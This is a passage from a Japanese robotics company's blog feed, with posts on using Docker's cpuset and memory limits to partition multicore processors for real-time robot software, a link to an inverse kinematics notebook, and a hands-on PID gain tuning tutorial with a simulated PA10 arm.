<p>油田先生らの機能分散アーキテクチャ
<a href="https://www.jstage.jst.go.jp/article/jrsj1983/14/2/14_2_238/_article/-char/ja/">https://www.jstage.jst.go.jp/article/jrsj1983/14/2/14_2_238/_article/-char/ja/</a></p>

<p>などは、この理想を追い求めた代表的な研究です。</p>

<p>このブログの筆者もこの理想を追い求めた過去があります（3番目の著者）。
<a href="http://ci.nii.ac.jp/naid/110002775061">http://ci.nii.ac.jp/naid/110002775061</a></p>

<p>とはいえ、現実的に考えると複数独立したプロセッサを同一システムに組み込むのであれば、最初からマルチコアプロセッサを使ってしまった方が周辺回路を単一化できるぶん有利です。また、ロボットの電気回路はモータ制御の大電流のスイッチングからくるノイズで不安定になりがちなので、弱電系を分散させて通信でつなぐより制御系から離れた場所で一ヶ所にまとめてしまった方がより安定して動作させることができるという利点もあります。</p>

<p>この背景から同じプロセッサ上で複数ソフトウェアを仲良くリアルタイム動作させようと皆試みるわけなのですが、UNIX系OSに元々備わっているnice値の調整だけではなかなか思うように調整できず苦労するわけです。</p>

<p>このような状況で便利に使えるのがパーティショニング機能です。パーティショニングではマルチコアプロセッサを相互に独立したプロセッサとして扱い、各プロセッサ上で動くプロセスの分離や保護を行ってくれます。</p>

<p>組み込み系の本格的なパーティショニング機能付きOSにはTOPPERS/PARKがあるのですが、無料版では残念ながら動作する環境が極めて限られています。
<a href="https://www.toppers.jp/park.html">https://www.toppers.jp/park.html</a></p>

<p>今回Linuxで汎用的に動作するDockerを使ってパーティショニングを実現してみます。
Dockerを使ったパーティショニングについて説明する前にDockerの元の機能について紹介します。</p>

<p>Dockerは分類から言うと仮想化ソフトウェアではあるのですが、とても「薄い」仮想化を行うのが特徴です。DockerはホストOSとしてLinuxを使うのですが、ゲストOSでもそのLinuxをそのまま使います。Linuxをそのまま使うためゲスト側ではLinux系のOSしか動作しないのですが、Ubuntu, Debian, CentOS, Redhatの各バージョンを仮想化させて同時に動作させることができるのです。</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: g Pages: 1 -->
<svg role="img" aria-label="" width="459pt" height="116pt"
 viewBox="0.00 0.00 459.14 116.00"  >
<title></title>
<desc>
digraph g {
  Ubuntuイメージ -&gt; Linuxカーネル
  CentOSイメージ -&gt; Linuxカーネル
  Redhatイメージ -&gt; Linuxカーネル
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 112)">
<title>g</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-112 455.138,-112 455.138,4 -4,4"/>
<!-- Ubuntuイメージ -->
<g id="node1" class="node"><title>Ubuntuイメージ</title>
<ellipse fill="none" stroke="black" cx="69.5438" cy="-90" rx="69.5877" ry="18"/>
<text text-anchor="middle" x="69.5438" y="-86.3" font-family="Times,serif" font-size="14.00">Ubuntuイメージ</text>
</g>
<!-- Linuxカーネル -->
<g id="node2" class="node"><title>Linuxカーネル</title>
<ellipse fill="none" stroke="black" cx="227.544" cy="-18" rx="65.7887" ry="18"/>
<text text-anchor="middle" x="227.544" y="-14.3" font-family="Times,serif" font-size="14.00">Linuxカーネル</text>
</g>
<!-- Ubuntuイメージ&#45;&gt;Linuxカーネル -->
<g id="edge1" class="edge"><title>Ubuntuイメージ&#45;&gt;Linuxカーネル</title>
<path fill="none" stroke="black" d="M103.052,-74.1548C127.093,-63.5034 159.662,-49.0741 185.457,-37.6459"/>
<polygon fill="black" stroke="black" points="186.901,-40.8345 194.626,-33.5838 184.066,-34.4345 186.901,-40.8345"/>
</g>
<!-- CentOSイメージ -->
<g id="node3" class="node"><title>CentOSイメージ</title>
<ellipse fill="none" stroke="black" cx="227.544" cy="-90" rx="70.6878" ry="18"/>
<text text-anchor="middle" x="227.544" y="-86.3" font-family="Times,serif" font-size="14.00">CentOSイメージ</text>
</g>
<!-- CentOSイメージ&#45;&gt;Linuxカーネル -->
<g id="edge2" class="edge"><title>CentOSイメージ&#45;&gt;Linuxカーネル</title>
<path fill="none" stroke="black" d="M227.544,-71.6966C227.544,-63.9827 227.544,-54.7125 227.544,-46.1124"/>
<polygon fill="black" stroke="black" points="231.044,-46.1043 227.544,-36.1043 224.044,-46.1044 231.044,-46.1043"/>
</g>
<!-- Redhatイメージ -->
<g id="node4" class="node"><title>Redhatイメージ</title>
<ellipse fill="none" stroke="black" cx="383.544" cy="-90" rx="67.6881" ry="18"/>
<text text-anchor="middle" x="383.544" y="-86.3" font-family="Times,serif" font-size="14.00">Redhatイメージ</text>
</g>
<!-- Redhatイメージ&#45;&gt;Linuxカーネル -->
<g id="edge3" class="edge"><title>Redhatイメージ&#45;&gt;Linuxカーネル</title>
<path fill="none" stroke="black" d="M350.46,-74.1548C326.906,-63.5857 295.063,-49.2969 269.689,-37.9113"/>
<polygon fill="black" stroke="black" points="270.868,-34.6043 260.312,-33.7036 268.003,-40.9909 270.868,-34.6043"/>
</g>
</g>
</svg>
</div>


<p>上記の仮想化はLinuxのファイル入出力システムコールの設定を少し変更することで実現されています。各プロセスは同じLinuxカーネル上で動作するのですが、プロセスごとにファイルアクセスAPIを通して見えるファイルツリーが違うようにカーネル側から制御するのです。Linuxでセキュリティに使われるchrootという仕組みを知っている方は、その応用として理解するとわかりやすいでしょう。</p>

<p>この仕組を使うと以下のようなことができます。RTMの公開されているコンポーネントの中にOpenHRIというコンポーネント集があります。このブログの著者が前職で開発していたソフトウェアなのですが、バイナリパッケージがUbuntu 10.04以降更新されておらず、最近のUbuntuでは動作させることができません。</p>

<p>ここで、以下のようなDockerfile（Dockerの設定ファイル）を書きます。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>Dockerfile </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>FROM ubuntu:10.04
</span><span class='line'>
</span><span class='line'>MAINTAINER Yosuke Matsusaka &lt;yosuke.matsusaka@gmail.com>
</span><span class='line'>
</span><span class='line'>RUN apt-get update
</span><span class='line'>RUN apt-get install -y python-software-properties
</span><span class='line'>RUN apt-add-repository ppa:openhri/ppa
</span><span class='line'>RUN apt-get update
</span><span class='line'>RUN apt-get install -y openhriaudio</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>その後、同じフォルダで以下のコマンドを入れると、Ubuntu 10.04 (Lucid)のイメージがDockerのインデックスサイトからダウンロードされ仮想イメージの構築が行われ、最新の14.04上であってもファイルツリーとしては10.04の環境上でOpenHRIのプロセスを立ち上げることができます。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ docker build -t openhri-lucid .
</span><span class='line'>$ docker run openhri-lucid [イメージ上で起動したいコマンド]</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>Dockerを使って起動されたプロセスにはファイルツリーだけでなく、Linux標準の仮想ネットワークブリッジ作成機能を使ってホストとは独立したネットワークが作成され接続されます。</p>

<p>各プロセスは厳密に言うとLinux上で動作するいちプロセスにしか過ぎないのですが、仮想ファイルツリーと仮想ネットワークインタフェースを持つため、仮想マシンを起動しているのと同等にホストから分離できるわけです。とは言え、実態はいちプロセスにすぎないのでコンピュータのリソース消費は通常のプロセスと同様に少なく、また通常のプロセスを立ち上げるのと同様に瞬時に起動します。</p>

<p>このような仮想化の方法は「軽量コンテナ」と呼ばれ、Web開発の分野では急速に広まりつつあります。軽くて使い回しが良い上にソフトの実行に必要な環境ごとサーバに送り込んで動作させることができるという一度使いはじめると手放せなくなる強力な環境です。</p>

<p>さて、いよいよ今回のメインのパーティショニングの説明に入ります。Dockerにはファイルやネットワークの仮想化を行うだけでなくLinuxのcgroups機能を使った強力なプロセス制御機能が備わっています。</p>

<p>まずは、以下のようなPythonスクリプトを通常の環境で実行してみます。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>heavy-load.py </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
</pre></td><td class='code'><pre><code class='py'><span class='line'><span></span><span class="ch">#!/usr/bin/env python</span>
</span><span class='line'>
</span><span class='line'><span class="kn">import</span> <span class="nn">os</span>
</span><span class='line'>
</span><span class='line'><span class="n">pid</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">fork</span><span class="p">()</span>
</span><span class='line'>
</span><span class='line'><span class="k">if</span> <span class="n">pid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span><span class='line'>    <span class="n">pid2</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">fork</span><span class="p">()</span>
</span><span class='line'>    <span class="k">if</span> <span class="n">pid2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span><span class='line'>        <span class="n">pid3</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">fork</span><span class="p">()</span>
</span><span class='line'>        <span class="k">if</span> <span class="n">pid3</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span><span class='line'>            <span class="n">pid4</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">fork</span><span class="p">()</span>
</span><span class='line'>            <span class="k">if</span> <span class="n">pid4</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span><span class='line'>                <span class="k">print</span> <span class="s1">&#39;giving you heavy load&#39;</span>
</span><span class='line'>            <span class="k">else</span><span class="p">:</span>
</span><span class='line'>                <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
</span><span class='line'>                    <span class="mi">1</span>
</span><span class='line'>        <span class="k">else</span><span class="p">:</span>
</span><span class='line'>            <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
</span><span class='line'>                <span class="mi">1</span>
</span><span class='line'>    <span class="k">else</span><span class="p">:</span>
</span><span class='line'>        <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
</span><span class='line'>            <span class="mi">1</span>
</span><span class='line'><span class="k">else</span><span class="p">:</span>
</span><span class='line'>    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
</span><span class='line'>        <span class="mi">1</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>このスクリプトはforkシステムコールを使って4つの重いプロセスを起動します。スクリプト起動後にhtopコマンドを使ってシステムの負荷を見てみると当然のように以下のような天井に張り付いた状態になります。</p>

<p><img src="https://tech.mid-japan.com/images/docker-partitioning/unpartitioned.png" alt="Heavy Load" /></p>

<p>このスクリプトをDockerイメージの中に押し込むために以下のようなDockerfileを書きます。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>Dockerfile </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>FROM ubuntu:14.04
</span><span class='line'>
</span><span class='line'>MAINTAINER Yosuke Matsusaka &lt;yosuke.matsusaka@gmail.com>
</span><span class='line'>
</span><span class='line'>RUN apt-get update
</span><span class='line'>RUN apt-get install -y python
</span><span class='line'>ADD heavy-load.py /heavy-load.py
</span><span class='line'>
</span><span class='line'>CMD /heavy-load.py</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>Ubuntu 14.04では標準でDockerが用意されていますが、cgroups機能を使うためには最新のDockerが必要なため、以下のようにしてDocker社が配布している最新のバイナリをインストールします。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9
</span><span class='line'>$ sudo sh -c "echo deb https://get.docker.io/ubuntu docker main > /etc/apt/sources.list.d/docker.list"
</span><span class='line'>$ sudo apt-get update
</span><span class='line'>$ sudo apt-get install lxc-docker</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>インストールができたら、まずはイメージをビルドします。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ docker build -t heavy-load-partitioned .</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>では、最初にプロセスをCPU 0に閉じ込めてみましょう。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ docker run --cpuset=0 heavy-load-partitioned</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>htopの出力から閉じ込めに成功していることが確認できます。空いているCPUはリアルタイム処理を行うための余力として残しておくことができるので先ほどに比べて安心です。</p>

<p><img src="https://tech.mid-japan.com/images/docker-partitioning/partition-cpu0.png" alt="Heavy Load" /></p>

<p>CPU 0と2を使って他を空けておきたい、というようなことも柔軟にできます。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ docker run --cpuset=0,2 heavy-load-partitioned</span></code></pre></td></tr></table></div></figure></notextile></div>


<p><img src="https://tech.mid-japan.com/images/docker-partitioning/partition-cpu02.png" alt="Heavy Load" /></p>

<p>使用CPUだけでなく使用メモリの制限を与えることもできます。タスク1をCPU 0を使って起動、タスク2をCPU 1を使って起動し、それぞれ200MBのメモリ制限を加えるには以下のようにします。</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ docker run --cpuset=0 -m 200m task1
</span><span class='line'>$ docker run --cpuset=1 -m 200m task2</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>以上、Dockerで遊んでみましたが、パーティショニングの環境としてもかなり使いやすいことがわかったと思います。一般向けでも8コアなどというCPUが販売されるこの時代、マルチコアプロセッサを使った高度なロボット開発への応用の可能性を感じていただけたとすると幸いです。</p>

<h2>おまけ</h2>

<p>Raspberry Piファン向けにARMプロセッサで動作するDockerもあります。Raspberry PiはシングルコアCPUを使っているのでパーティショニングの恩恵が薄いのが残念なのですが、次のバージョンあたりでマルチコア化を期待できるかもしれません。
<a href="https://github.com/resin-io/lxc-docker-PKGBUILD">https://github.com/resin-io/lxc-docker-PKGBUILD</a></p>

<h2>おまけ２</h2>

<p>リアルタイム性の確保の観点からすると今回紹介したパーティショニングによるプロセスの負荷の制御だけでは不十分で、ディスクアクセスなどのリアルタイム性を阻害する（プリエンプションを妨害する)APIへの対処が行われた特別なLinuxカーネルを使う必要がありました。以前はlinux-rtというパッケージを使うのが定石だったのですが、標準カーネルに機能が取り込まれてしまったようです。ある水準のリアルタイム性確保が標準カーネルでできてしまうことになります。良い時代になったものです。
<a href="https://wiki.ubuntulinux.jp/UbuntuStudioTips/Setup/Kernels">https://wiki.ubuntulinux.jp/UbuntuStudioTips/Setup/Kernels</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[手を動かしながら学ぶ逆運動学]]></title>
    <link href="https://tech.mid-japan.com/blog/2014/07/31/inverse-kinematics-primer/"/>
    <updated>2014-07-31T11:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2014/07/31/inverse-kinematics-primer</id>
    <content type="html"><![CDATA[<p>今回は逆運動学について解説します。</p>

<p>逆運動学の解説にはどうしても数式が多く出てきてしまうのですが、ipython notebookを使って実際に手を動かしながら学べる解説になっていますので、ぜひ遊んでみてください。</p>

<p>では、以下のURLへ飛んでください。
<a href="http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-ja.ipynb">http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-ja.ipynb</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[制御の基本 PID制御パラメータの調整法とRTMによる開発について]]></title>
    <link href="https://tech.mid-japan.com/blog/2014/07/10/learn-pid-control-and-rtm/"/>
    <updated>2014-07-10T11:00:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2014/07/10/learn-pid-control-and-rtm</id>
    <content type="html"><![CDATA[<p>前回のブログでは、「Vagrant」と「watchdog」を使ってシミュレータ上のロボットを動作させるための環境作りをしました。</p>

<p>今回はPID制御とRTMによる開発の詳細について解説します。</p>

<p>「PID制御」とはロボットに限らず様々な制御分野で用いられる制御方式で以下の式によって表されます。</p>

<!-- more -->




<script type="math/tex; mode=display">

\begin{eqnarray}
u(t) &=& K_p e(t) + K_i \int_0^t e(t)dt + K_d \frac{de(t)}{dt} \nonumber \\
e(t) &=& y(t) - r(t) \nonumber
\end{eqnarray}

</script>


<p>制御理論の教科書を読むとこの式を変換して、理論面での議論が展開されることもあるので面食らいますが、PID制御は元は非常に実用的な観点で作られた制御方法であり、理論的な解析よりもまず実用的な使い方を学習することが大切です。このブログでは実用面に絞って解説を進めます。</p>

<p>まずは上の式をざっと見てみましょう。<script type="math/tex">e(t)</script>は制御対象の状態<script type="math/tex">y(t)</script>と目標値<script type="math/tex">r(t)</script>とのズレです。このズレをゼロに近づける（ロボットを指定した姿勢に近づける）のが制御の目的です。<script type="math/tex">u(t)</script>が制御対象に加える出力なのですが、この式は<script type="math/tex">K_p, K_i, K_d</script>の３つの部分からなる式の和で表現されています。</p>

<p>最初の<script type="math/tex">K_p</script>の部分は「比例ゲイン」と呼ばれます。この式によって、「制御対象がプラス方向にズレていればマイナス方向に力をかける」、「マイナス方向にズレていればプラス方向に力をかける」、「大きくズレていれば大きな力をかける」、「小さくズレていれば小さな力をかける」ことができます。<script type="math/tex">K_p</script>は人が設定するパラメータで、このパラメータで「力加減」を調整します。</p>

<p>前回セットアップしたロボット制御シミュレーションを動かしながらパラメータ調整の方法を学習しましょう。</p>

<p>まずは前回のブログを参考にVagrantの環境を立ち上げてください:</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ cd vagrant-robotics-boilderplate
</span><span class='line'>$ vagrant up
</span><span class='line'>$ vagrant ssh</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>弊社設定済みのVagrant環境を使うと高速なネットワーク環境下であればシミュレーション環境をすぐに立ち上げることができますが、hrpsys-baseインストール済みのLinux環境が既にある場合は、その環境をそのまま使うこともできます。その場合には、以下のコマンドでwatchdogを追加でインストールしてください：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ sudo pip install -U watchdog</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>今回のブログ用のレポジトリは以下のURLで公開しています：</p>

<p><a href="https://github.com/devrt/learn-control-pid">https://github.com/devrt/learn-control-pid</a></p>

<p>レポジトリをチェックアウトしてwatchdogを起動します：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>(以下Vagrantまたは実Linuxマシンログイン後のコマンド)
</span><span class='line'>$ git clone https://github.com/devrt/learn-control-pid.git
</span><span class='line'>$ cd learn-control-pid
</span><span class='line'>$ ./run.sh</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>「run.sh」を起動すると小さな窓が現れてプロジェクト内のファイルの監視が始まります。ファイルが変更されると自動でコンパイルとシミュレータの起動が行われます。</p>

<p>エディタを起動して「PA10Controller.cpp」ファイルを編集します。</p>

<p>PID制御とパラメータ定義が行われているのは以下の部分です：</p>

<div class='bogus-wrapper'><notextile><figure class='code'><figcaption><span>PA10Controller.cpp </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='cpp'><span class='line'><span></span><span class="cp">#define K_P 100.0</span>
</span><span class='line'><span class="cp">#define K_D -100.0</span>
</span><span class='line'><span class="cp">#define MaxTau 400.0</span>
</span><span class='line'>  <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">m_qRef</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">length</span><span class="p">();</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span><span class='line'>    <span class="kt">double</span> <span class="n">u</span> <span class="o">=</span> <span class="n">K_P</span> <span class="o">*</span> <span class="p">(</span><span class="n">m_qRef</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">m_angles</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">+</span> <span class="n">K_D</span> <span class="o">*</span> <span class="n">m_vels</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span><span class='line'>    <span class="n">u</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">min</span><span class="p">(</span> <span class="n">MaxTau</span><span class="p">,</span> <span class="n">u</span><span class="p">);</span>
</span><span class='line'>    <span class="n">u</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">max</span><span class="p">(</span><span class="o">-</span><span class="n">MaxTau</span><span class="p">,</span> <span class="n">u</span><span class="p">);</span>
</span><span class='line'>    <span class="n">m_torque</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">u</span><span class="p">;</span>
</span><span class='line'>  <span class="p">}</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>


<p>今は<script type="math/tex">K_p</script>が小さな値になっているため、以下の動画のようにロボットが脱力した状態です。パラメータ部分を編集して係数を少しずつ大きくしてみましょう。</p>

<p><img src="http://devrt.tk/build/asset/53be1fa5f6349a29640e75d1.gif" alt="Weak　K_p" /></p>

<p>力を加えすぎると制御が発散します。下は<script type="math/tex">K_p</script>を大きくしすぎた例：</p>

<p><img src="http://devrt.tk/build/asset/53be2072f6349a29640e75d2.gif" alt="Strong　K_p" /></p>

<p>下は複数回の調整をした結果です。これぐらいが調整の限界でしょうか：</p>

<p><img src="http://devrt.tk/build/asset/53be2124f6349a29640e75d3.gif" alt="Optimal　K_p" /></p>

<p>比例ゲインは目標からのズレに対して加える力加減のパラメータですが、上の例のように最適まで調整しても振動が残ってしまいます。</p>

<p>ここで役に立つのが<script type="math/tex">K_d</script>です。<script type="math/tex">K_d</script>はズレの時間微分に対する係数で「微分ゲイン」と呼ばれます。</p>

<p>動画をよく観察するとロボットの腕が上下して停止した瞬間に大きな振動が発生しています。係数<script type="math/tex">K_p</script>は目標値からのズレに比例して加える力を定義するのですが、ロボットのような制御対象の場合、腕には重量があるため慣性が発生します。慣性があるとズレがゼロになって力を抜いても、その位置から行きすぎてしまい振動が発生するのです。</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: g Pages: 1 -->
<svg role="img" aria-label="" width="583pt" height="44pt"
 viewBox="0.00 0.00 583.07 44.00"  >
<title></title>
<desc>
digraph g {
  rankdir=LR
  目標地点 [style=dotted]
  行き過ぎた位置 [style=dotted]
  質量のある物体 -&gt; 目標地点 [label=&quot;慣性+速度&quot;]
  目標地点 -&gt; 行き過ぎた位置 [label=&quot;ブレーキ&quot;]
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 40)">
<title>g</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-40 579.066,-40 579.066,4 -4,4"/>
<!-- 目標地点 -->
<g id="node1" class="node"><title>目標地点</title>
<ellipse fill="none" stroke="black" stroke-dasharray="1,5" cx="295.683" cy="-18" rx="48.1917" ry="18"/>
<text text-anchor="middle" x="295.683" y="-14.3" font-family="Times,serif" font-size="14.00">目標地点</text>
</g>
<!-- 行き過ぎた位置 -->
<g id="node2" class="node"><title>行き過ぎた位置</title>
<ellipse fill="none" stroke="black" stroke-dasharray="1,5" cx="502.922" cy="-18" rx="72.2875" ry="18"/>
<text text-anchor="middle" x="502.922" y="-14.3" font-family="Times,serif" font-size="14.00">行き過ぎた位置</text>
</g>
<!-- 目標地点&#45;&gt;行き過ぎた位置 -->
<g id="edge2" class="edge"><title>目標地点&#45;&gt;行き過ぎた位置</title>
<path fill="none" stroke="black" d="M344.027,-18C366.705,-18 394.518,-18 420.447,-18"/>
<polygon fill="black" stroke="black" points="420.658,-21.5001 430.657,-18 420.657,-14.5001 420.658,-21.5001"/>
<text text-anchor="middle" x="387.279" y="-21.8" font-family="Times,serif" font-size="14.00">ブレーキ</text>
</g>
<!-- 質量のある物体 -->
<g id="node3" class="node"><title>質量のある物体</title>
<ellipse fill="none" stroke="black" cx="72.7935" cy="-18" rx="72.5877" ry="18"/>
<text text-anchor="middle" x="72.7935" y="-14.3" font-family="Times,serif" font-size="14.00">質量のある物体</text>
</g>
<!-- 質量のある物体&#45;&gt;目標地点 -->
<g id="edge1" class="edge"><title>質量のある物体&#45;&gt;目標地点</title>
<path fill="none" stroke="black" d="M145.815,-18C175.529,-18 209.482,-18 237.451,-18"/>
<polygon fill="black" stroke="black" points="237.466,-21.5001 247.466,-18 237.466,-14.5001 237.466,-21.5001"/>
<text text-anchor="middle" x="196.587" y="-21.8" font-family="Times,serif" font-size="14.00">慣性+速度</text>
</g>
</g>
</svg>
</div>


<p>これを防ぐためには、ズレがゼロに近づきかけた状態で、早めに力を抜いてあげる必要があります。「微分ゲイン」でこのような早めのブレーキを実現することができます。</p>

<div class="graphviz-wrapper">

<!-- Generated by graphviz version 2.38.0 (20140413.2041)
 -->
<!-- Title: g Pages: 1 -->
<svg role="img" aria-label="" width="337pt" height="44pt"
 viewBox="0.00 0.00 336.78 44.00"  >
<title></title>
<desc>
digraph g {
  rankdir=LR
  目標地点 [style=dotted]
  質量のある物体 -&gt; 目標地点 [label=&quot;ブレーキ&quot;]
}
</desc>

<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 40)">
<title>g</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-40 332.779,-40 332.779,4 -4,4"/>
<!-- 目標地点 -->
<g id="node1" class="node"><title>目標地点</title>
<ellipse fill="none" stroke="black" stroke-dasharray="1,5" cx="280.683" cy="-18" rx="48.1917" ry="18"/>
<text text-anchor="middle" x="280.683" y="-14.3" font-family="Times,serif" font-size="14.00">目標地点</text>
</g>
<!-- 質量のある物体 -->
<g id="node2" class="node"><title>質量のある物体</title>
<ellipse fill="none" stroke="black" cx="72.7935" cy="-18" rx="72.5877" ry="18"/>
<text text-anchor="middle" x="72.7935" y="-14.3" font-family="Times,serif" font-size="14.00">質量のある物体</text>
</g>
<!-- 質量のある物体&#45;&gt;目標地点 -->
<g id="edge1" class="edge"><title>質量のある物体&#45;&gt;目標地点</title>
<path fill="none" stroke="black" d="M145.804,-18C170.855,-18 198.601,-18 222.307,-18"/>
<polygon fill="black" stroke="black" points="222.545,-21.5001 232.544,-18 222.544,-14.5001 222.545,-21.5001"/>
<text text-anchor="middle" x="189.087" y="-21.8" font-family="Times,serif" font-size="14.00">ブレーキ</text>
</g>
</g>
</svg>
</div>


<p>「PA10Controller.cpp」ファイルを編集して<script type="math/tex">K_d</script>を大きくしてみましょう。</p>

<p><img src="http://devrt.tk/build/asset/53be222cf6349a29640e75d4.gif" alt="Strong　K_d" /></p>

<p>微分ゲインを大きくすると、目標位置付近での姿勢維持が弱くなるので比例ゲインも合わせて大きくします。両者を調整すると以下のような安定した制御になります：</p>

<p><img src="http://devrt.tk/build/asset/53be22c0f6349a29640e75d5.gif" alt="Optimal　K_d" /></p>

